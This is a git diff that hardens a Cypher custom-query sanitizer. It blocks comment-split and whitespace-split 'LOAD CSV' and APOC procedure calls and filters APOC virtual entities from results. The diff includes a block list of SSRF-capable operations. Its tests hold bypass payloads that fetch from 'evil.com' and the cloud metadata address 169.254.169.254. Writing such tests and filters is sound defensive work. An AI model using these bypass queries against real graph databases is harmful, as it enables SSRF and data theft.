diff --git a/api/changelog.d/attack-paths-custom-query-comment-bypass.security.md b/api/changelog.d/attack-paths-custom-query-comment-bypass.security.md new file mode 100644 index 0000000000..6d7576e0d2 --- /dev/null +++ b/api/changelog.d/attack-paths-custom-query-comment-bypass.security.md @@ -0,0 +1 @@ +Attack Paths custom queries strip block comments before the blocked-operation check and drop APOC virtual nodes and relationships from results, so `LOAD CSV` can no longer be split with a comment nor its response returned under a forged provider label diff --git a/api/src/backend/api/attack_paths/cypher_sanitizer.py b/api/src/backend/api/attack_paths/cypher_sanitizer.py index 35752b3ec9..489109d0ac 100644 --- a/api/src/backend/api/attack_paths/cypher_sanitizer.py +++ b/api/src/backend/api/attack_paths/cypher_sanitizer.py @@ -12,7 +12,7 @@ Two responsibilities: Label-injection pipeline: -1. **Protect** string literals and line comments (placeholder replacement). +1. **Protect** string literals and comments (placeholder replacement). 2. **Split** by top-level clause keywords to track clause context. 3. **Pass A** - inject into *labeled* node patterns in ALL segments. 4. **Pass B** - inject into *bare* node patterns in MATCH segments only. @@ -25,10 +25,12 @@ from rest_framework.exceptions import ValidationError from tasks.jobs.attack_paths.config import get_provider_label # Step 1 - String / comment protection -# Single combined regex: strings first, then line comments +# Single combined regex: strings first, then line and block comments # The regex engine finds the leftmost match, so a string like 'https://prowler.com' # is consumed as a string before the // inside it can match as a comment -_PROTECTED_RE = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|//[^\n]*") +_PROTECTED_RE = re.compile( + r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|//[^\n]*|/\*[\s\S]*?\*/" +) # Step 2 - Clause splitting # `OPTIONAL MATCH` must come before `MATCH` to avoid partial matching @@ -143,18 +145,26 @@ def inject_label(cypher: str, label: str) -> str: # Patterns that indicate SSRF or dangerous procedure calls # Defense-in-depth layer - the primary control is `neo4j.READ_ACCESS` +# Neo4j accepts whitespace (and therefore comments) around the dots of a +# qualified procedure name, so `apoc . load` is `apoc.load`. +_BLOCKED_APOC_NAMESPACES = ( + "load", + "import", + "export", + "cypher", + "systemdb", + "config", + "periodic", + "do", + "trigger", + "custom", +) _BLOCKED_PATTERNS = [ re.compile(r"\bLOAD\s+CSV\b", re.IGNORECASE), - re.compile(r"\bapoc\.load\b", re.IGNORECASE), - re.compile(r"\bapoc\.import\b", re.IGNORECASE), - re.compile(r"\bapoc\.export\b", re.IGNORECASE), - re.compile(r"\bapoc\.cypher\b", re.IGNORECASE), - re.compile(r"\bapoc\.systemdb\b", re.IGNORECASE), - re.compile(r"\bapoc\.config\b", re.IGNORECASE), - re.compile(r"\bapoc\.periodic\b", re.IGNORECASE), - re.compile(r"\bapoc\.do\b", re.IGNORECASE), - re.compile(r"\bapoc\.trigger\b", re.IGNORECASE), - re.compile(r"\bapoc\.custom\b", re.IGNORECASE), + *( + re.compile(rf"\bapoc\s*\.\s*{namespace}\b", re.IGNORECASE) + for namespace in _BLOCKED_APOC_NAMESPACES + ), ] @@ -162,10 +172,11 @@ def validate_custom_query(cypher: str) -> None: """Reject queries containing known SSRF or dangerous procedure patterns. Raises ValidationError if a blocked pattern is found. - String literals and comments are stripped before matching to avoid - false positives. + String literals and comments are replaced by a space before matching: + literals cannot trigger false positives and a comment cannot split a + keyword pair such as `LOAD /**/ CSV`, which Neo4j still parses as `LOAD CSV`. """ - stripped = _PROTECTED_RE.sub("", cypher) + stripped = _PROTECTED_RE.sub(" ", cypher) for pattern in _BLOCKED_PATTERNS: if pattern.search(stripped): raise ValidationError({"query": "Query contains a blocked operation"}) diff --git a/api/src/backend/api/attack_paths/sink/base.py b/api/src/backend/api/attack_paths/sink/base.py index 0134e0a41f..62c62df5bb 100644 --- a/api/src/backend/api/attack_paths/sink/base.py +++ b/api/src/backend/api/attack_paths/sink/base.py @@ -45,6 +45,10 @@ class SinkDatabase(Protocol): parameters: dict[str, Any] | None = None, ) -> neo4j.graph.Graph: ... + def is_persisted_element_id(self, element_id: str) -> bool: + """Whether an element id belongs to a stored entity rather than one minted at query time.""" + return True + def create_database(self, database: str) -> None: ... def drop_database(self, database: str) -> None: ... diff --git a/api/src/backend/api/attack_paths/sink/neo4j.py b/api/src/backend/api/attack_paths/sink/neo4j.py index c820ed9d93..6f36b018f5 100644 --- a/api/src/backend/api/attack_paths/sink/neo4j.py +++ b/api/src/backend/api/attack_paths/sink/neo4j.py @@ -7,6 +7,7 @@ path while phase-1 drains tenant DBs. import atexit import logging +import re import threading import time from collections.abc import Iterator @@ -186,6 +187,13 @@ class Neo4jSink(SinkDatabase): return session.execute_read(_run) + # APOC virtual nodes report a bare negative number and virtual + # relationships a random UUID, neither in the stored-entity format. + _PERSISTED_ELEMENT_ID_RE = re.compile(r"^\d+:[^:]+:\d+$") + + def is_persisted_element_id(self, element_id: str) -> bool: + return bool(self._PERSISTED_ELEMENT_ID_RE.match(element_id)) + def create_database(self, database: str) -> None: with self.get_session() as session: session.run( diff --git a/api/src/backend/api/attack_paths/views_helpers.py b/api/src/backend/api/attack_paths/views_helpers.py index 64b954697d..90a0af7467 100644 --- a/api/src/backend/api/attack_paths/views_helpers.py +++ b/api/src/backend/api/attack_paths/views_helpers.py @@ -15,6 +15,7 @@ from api.attack_paths.queries.schema import ( RAW_SCHEMA_URL, get_cartography_schema_query, ) +from api.attack_paths.sink.base import SinkDatabase from api.models import AttackPathsScan from config.custom_logging import BackendLogger from config.env import env @@ -135,7 +136,7 @@ def execute_query( cypher = inject_provider_label(cypher, provider_id) graph = backend.execute_read_query(database_name, cypher, parameters) - return _serialize_graph(graph, provider_id) + return _serialize_graph(graph, provider_id, backend) except graph_database.WriteQueryNotAllowedException: raise PermissionDenied( @@ -174,6 +175,8 @@ def execute_custom_query( # 1. `neo4j.READ_ACCESS` - prevents mutations at the driver level # 2. `inject_provider_label()` - regex-based label injection scopes node patterns # 3. `_serialize_graph()` - post-query filter drops nodes without the provider label + # and any node or relationship the backend did not store (APOC virtual + # entities can carry an arbitrary label and arbitrary properties) # 4. `USING QUERY:TIMEOUTMILLISECONDS` on Neptune - server-side runaway cutoff # # Layer 2 is best-effort (regex can't fully parse Cypher); @@ -193,7 +196,7 @@ def execute_custom_query( try: graph = backend.execute_read_query(database_name, cypher, None) - serialized = _serialize_graph(graph, provider_id) + serialized = _serialize_graph(graph, provider_id, backend) return _truncate_graph(serialized) except graph_database.ClientStatementException as exc: @@ -265,13 +268,15 @@ def _truncate_graph(graph: dict[str, Any]) -> dict[str, Any]: return graph -def _serialize_graph(graph, provider_id: str) -> dict[str, Any]: +def _serialize_graph(graph, provider_id: str, backend: SinkDatabase) -> dict[str, Any]: provider_label = get_provider_label(provider_id) nodes = [] kept_node_ids = set() for node in graph.nodes: - if provider_label not in node.labels: + if provider_label not in node.labels or not backend.is_persisted_element_id( + node.element_id + ): continue kept_node_ids.add(node.element_id) @@ -286,7 +291,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]: filtered_count = len(graph.nodes) - len(nodes) if filtered_count > 0: logger.debug( - f"Filtered {filtered_count} nodes without provider label {provider_label}" + f"Filtered {filtered_count} nodes without provider label {provider_label} or not stored" ) relationships = [] @@ -294,6 +299,7 @@ def _serialize_graph(graph, provider_id: str) -> dict[str, Any]: if ( relationship.start_node.element_id not in kept_node_ids or relationship.end_node.element_id not in kept_node_ids + or not backend.is_persisted_element_id(relationship.element_id) ): continue diff --git a/api/src/backend/api/tests/test_attack_paths.py b/api/src/backend/api/tests/test_attack_paths.py index 7e8fa21520..7727786105 100644 --- a/api/src/backend/api/tests/test_attack_paths.py +++ b/api/src/backend/api/tests/test_attack_paths.py @@ -321,7 +321,7 @@ def test_serialize_graph_filters_by_provider_label(attack_paths_graph_stub_class relationships=[rel_keep, rel_drop_orphaned], ) - result = views_helpers._serialize_graph(graph, provider_id) + result = views_helpers._serialize_graph(graph, provider_id, _all_persisted()) assert len(result["nodes"]) == 1 assert result["nodes"][0]["id"] == "n1" @@ -329,6 +329,71 @@ def test_serialize_graph_filters_by_provider_label(attack_paths_graph_stub_class assert result["relationships"][0]["id"] == "r1" +def _all_persisted(): + return SimpleNamespace(is_persisted_element_id=lambda element_id: True) + + +def test_serialize_graph_drops_virtual_entities(attack_paths_graph_stub_classes): + provider_id = "provider-keep" + plabel = get_provider_label(provider_id) + stored_ids = {"n1", "n2", "r1"} + backend = SimpleNamespace( + is_persisted_element_id=lambda element_id: element_id in stored_ids + ) + + node_1 = attack_paths_graph_stub_classes.Node("n1", ["AWSAccount", plabel], {}) + node_2 = attack_paths_graph_stub_classes.Node("n2", ["AWSRole", plabel], {}) + # apoc.create.vNode can carry the provider label and any payload + node_virtual = attack_paths_graph_stub_classes.Node( + "-1", ["AWSAccount", plabel], {"body": "fetched"} + ) + + rel_stored = attack_paths_graph_stub_classes.Relationship( + "r1", "OWNS", node_1, node_2, {} + ) + # apoc.create.vRelationship between two stored nodes passes the endpoint check + rel_virtual = attack_paths_graph_stub_classes.Relationship( + "45cc10ea-9618-47fb-abaa-8e82a58d6b40", "V", node_1, node_2, {"body": "fetched"} + ) + rel_to_virtual = attack_paths_graph_stub_classes.Relationship( + "r2", "OWNS", node_1, node_virtual, {} + ) + + graph = SimpleNamespace( + nodes=[node_1, node_2, node_virtual], + relationships=[rel_stored, rel_virtual, rel_to_virtual], + ) + + result = views_helpers._serialize_graph(graph, provider_id, backend) + + assert [node["id"] for node in result["nodes"]] == ["n1", "n2"] + assert [rel["id"] for rel in result["relationships"]] == ["r1"] + assert "fetched" not in str(result) + + +@pytest.mark.parametrize( + "element_id, persisted", + [ + ("4:9f1d9d76-bb08-478c-b25d-7e577f967732:0", True), + ("5:9f1d9d76-bb08-478c-b25d-7e577f967732:12", True), + ("-2", False), + ("45cc10ea-9618-47fb-abaa-8e82a58d6b40", False), + ("", False), + ], + ids=[ + "stored_node", + "stored_relationship", + "virtual_node", + "virtual_relationship", + "empty", + ], +) +def test_neo4j_sink_is_persisted_element_id(element_id, persisted): + from api.attack_paths.sink.neo4j import Neo4jSink + + assert Neo4jSink().is_persisted_element_id(element_id) is persisted + + # -- serialize_graph_as_text ------------------------------------------------------- diff --git a/api/src/backend/api/tests/test_cypher_sanitizer.py b/api/src/backend/api/tests/test_cypher_sanitizer.py index db5c9efa3e..f398468c77 100644 --- a/api/src/backend/api/tests/test_cypher_sanitizer.py +++ b/api/src/backend/api/tests/test_cypher_sanitizer.py @@ -222,6 +222,12 @@ class TestProtection: result = _inject(cypher) assert result.count(LABEL) == 1 + def test_block_comment_with_node_pattern(self): + cypher = "MATCH (n:AWSRole) /* (m:Fake)\n(k) */ RETURN n" + result = _inject(cypher) + assert "/* (m:Fake)\n(k) */" in result + assert result.count(LABEL) == 1 + # --------------------------------------------------------------------------- # Clause splitting @@ -439,6 +445,35 @@ class TestValidation: assert "blocked operation" in str(exc.value.detail) + @pytest.mark.parametrize( + "cypher", + [ + "LOAD /* c */ CSV FROM 'http://169.254.169.254/' AS x RETURN x", + "LOAD/**/CSV FROM 'http://evil.com' AS x RETURN x", + "LOAD /* a */ /* b */ CSV FROM 'http://evil.com' AS x RETURN x", + "LOAD /* multi\nline */ CSV FROM 'http://evil.com' AS x RETURN x", + "CALL apoc./**/load.json('http://evil.com/') YIELD value RETURN value", + "CALL apoc . load.json('http://evil.com/') YIELD value RETURN value", + "CALL apoc.load . json('http://evil.com/') YIELD value RETURN value", + "CALL apoc\n.cypher.run('CREATE (n)', {}) YIELD value RETURN value", + ], + ids=[ + "LOAD_CSV_block_comment", + "LOAD_CSV_empty_block_comment", + "LOAD_CSV_two_block_comments", + "LOAD_CSV_multiline_block_comment", + "apoc.load_block_comment", + "apoc.load_spaces_around_dot", + "apoc.load_spaces_before_procedure", + "apoc.cypher_newline_before_dot", + ], + ) + def test_rejects_blocked_patterns_split_by_comments_or_whitespace(self, cypher): + with pytest.raises(ValidationError) as exc: + validate_custom_query(cypher) + + assert "blocked operation" in str(exc.value.detail) + @pytest.mark.parametrize( "cypher", [ @@ -448,6 +483,8 @@ class TestValidation: "CALL apoc.create.vNode(['Label'], {}) YIELD node RETURN node", "MATCH (n) WHERE n.name = 'apoc.load.json' RETURN n", 'MATCH (n) WHERE n.description = "LOAD CSV is cool" RETURN n', + "MATCH (n) /* LOAD CSV is documented here */ RETURN n", + "MATCH (n) WHERE n.note = '/* LOAD CSV */' RETURN n", ], ids=[ "simple_match", @@ -456,6 +493,8 @@ class TestValidation: "apoc_virtual_node", "apoc_load_inside_single_quotes", "load_csv_inside_double_quotes", + "load_csv_inside_block_comment", + "block_comment_inside_string", ], ) def test_allows_clean_queries(self, cypher):